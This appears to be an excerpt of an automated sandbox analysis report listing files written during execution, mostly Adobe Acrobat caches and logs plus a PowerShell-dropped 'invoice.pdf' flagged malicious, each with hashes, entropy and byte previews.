Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9462111588cc9bf832fae1eba3cff3c6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736527905000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0eba7dff687c460c7c5be4d96d5e5b70","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736527905000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bac41a0a9b26077cc50498826cf26afc","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736527905000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ed3e31a051dc5d64e02d1363948dd1be","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736527904000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"722cf9444ab72512417b79c77fc7c0df","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736527904000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9ad6a6ef7c5b1265f8f9adc9120b4c02","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.31943947247646
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y5VJ+EXSqXS:TGufl2GL7msUKB0M0+Tb608Y5erRl
MD5:	FFD8F1C7A07C41625700E0700FA64FC9
SHA1:	A685BCC73BCB720066EFA06887EC242BE367E6B5
SHA-256:	5F5762C83E4CE7BF9AF77F7969B198BA255A70206747BEF2ECF1851A03237933
SHA-512:	E0D88CFCC3D4C4BC154C83F3B104B226BE5464032EA723FE17E83DA61B83EAC613D648C40CF77D09A0E57BD698611E28E6846917DA0D14D984C9504DD0042415
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7803042172753898
Encrypted:	false
SSDEEP:	24:7+tZ1l3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y5VJ/EXSqXlyGKaiXnqLhx/XY9:7MBKB0M0+Tb608Y5frGK7nqFl2GL7msI
MD5:	196CA57315C91052DBF4F07210B5FA10
SHA1:	3004342E758384921E18AF5F0DDED157B73E3486
SHA-256:	8D56EB2B9FEE89314B63494A27AC22E8B9AC51F064C6D58DAD2F0022BF51CD9E
SHA-512:	F9AC898E828AD0FDFF77DBDFD832F44CC2C3619A97F3B3AD1696A0E09477C9B9854289581FD40A60F6B0562E4333C99DC815D4A833F7DFE4771D4B36E1CD470D
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgmybZ0VQM2HbiBxYNUZOA2zKIy6Yyu:6a6TZ44ADEmyoQM2HuvjwntK
MD5:	3C02153A95A74084E18B6B7C6B8A8D1B
SHA1:	1AC079B107180E52E04786B3BA07AEEE497DF0F7
SHA-256:	BA0DBE12BFD28234F35D869974D686BD17D36A1EDE32BB6F71C7EB9B848122E1
SHA-512:	A20B4BE605682B3BE2938FC1002ED41DE6E008AAD243816485B63B5109249AFBE4126CB7F6D6D40AB2BC7FD5A8BD597D9722F2A2AADD8BFA0829F616109FC954
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIcb585.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.504899586627176
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEHlH:Qw946cPbiOxDlbYnuRK+bDH9
MD5:	57503755CDF09E505E187D5B900EE39E
SHA1:	08B04D874763CEE19C826FED1A9560A5615BD2EE
SHA-256:	1E7B671C09236FD77DB47DCE10E3A05533EB631A42A1E5D8663E73BF7240625A
SHA-512:	A9AB7AB3367A81A953EC19308A558A9861F0191FB295E075075F119BA5690B3086E8B3330D241C494F9237C19DE78D08FBCCAB12057217960F6366F9730582AB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.5.1.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bo4laefg.ggg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ztowz2ir.ujl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91o0y9qj_1df2kx0_j4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A98jd92c_1df2kwz_j4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-51-37-459.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.336471091793936
Encrypted:	false
SSDEEP:	384:nlj0LRujQX6cnhjXjFPauxUnrAqTEHvppSFvB5/DKtUx/u6F3SqHvmvGHp3Z6NN8:7+a
MD5:	CB72C09DB97D9672726CA1F9807BA5E0
SHA1:	DB3ECB407F9BD1EF63A8CB914179531C4D244E79
SHA-256:	449D519B50D111A25DDCB62261EE71DD1BE7D610C9F7603F2A68D2F29E484364
SHA-512:	B3F2070814E07DBAB2A9EF1A1758DC2BA9E705606CDC5094511DD9E723187501C19FDEE33D0193D02696362EDE4D39010AEF15038482F4340CDC4B396D80167B
Malicious:	false
Preview:	SessionID=4fbf10ce-725b-40a7-b875-c0408d0450b0.1736527897485 Timestamp=2025-01-10T11:51:37:485-0500 ThreadID=5924 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4fbf10ce-725b-40a7-b875-c0408d0450b0.1736527897485 Timestamp=2025-01-10T11:51:37:486-0500 ThreadID=5924 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4fbf10ce-725b-40a7-b875-c0408d0450b0.1736527897485 Timestamp=2025-01-10T11:51:37:486-0500 ThreadID=5924 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4fbf10ce-725b-40a7-b875-c0408d0450b0.1736527897485 Timestamp=2025-01-10T11:51:37:486-0500 ThreadID=5924 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4fbf10ce-725b-40a7-b875-c0408d0450b0.1736527897485 Timestamp=2025-01-10T11:51:37:486-0500 ThreadID=5924 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399490275453711
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zm8:EGvIcNYdOZYr
MD5:	EF5F2C9C0D707E32568C7D2FF85EDE49
SHA1:	8D70C62E5777336B9C0EF3326C734C263EDD6156
SHA-256:	60CFD370FC100A6A4B3132AFDCD1A536614C961DB9589C6F4AE2F8FA423DA9CA
SHA-512:	4900A4D54FA1900D2F5163D631D9485A1F1FC788406619CE6A85433C70BC91DBB8547C2F381A0916C3B47611FA8AB0606884C6A3B0825043755E8F432A1952F8
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3ce76cfe-429f-4717-8fa8-e3dae192e8ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\61d5a3be-6cd6-45e8-a97a-e3bde7c1c08d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\958d7c60-daea-4d46-bc35-7f454db3cc28.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:NIOWL07oXGZIZwYIGNPedpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:HWLxXGZIZwZG03mlind9i4ufFXpAXkrj
MD5:	8DDED41D7810025FA3D86A28CF5CDA8F
SHA1:	654E6D186D60E621F8E7909BE2177B8DBBCB0B80
SHA-256:	201632114AB34A4EDA751609C71554E43B1954453577C81FBD7237E1C5A29217
SHA-512:	523614F3328AF42A90D95760980B9FE331CA1DB4475591F3C3C399A602FFFFA9A6E8CC352D5B7E86BFDE5A85970786D6583B7724D2E6AC33091D3344AF86725A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b53add67-ed96-41b4-8e6b-cc15f6749fe0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
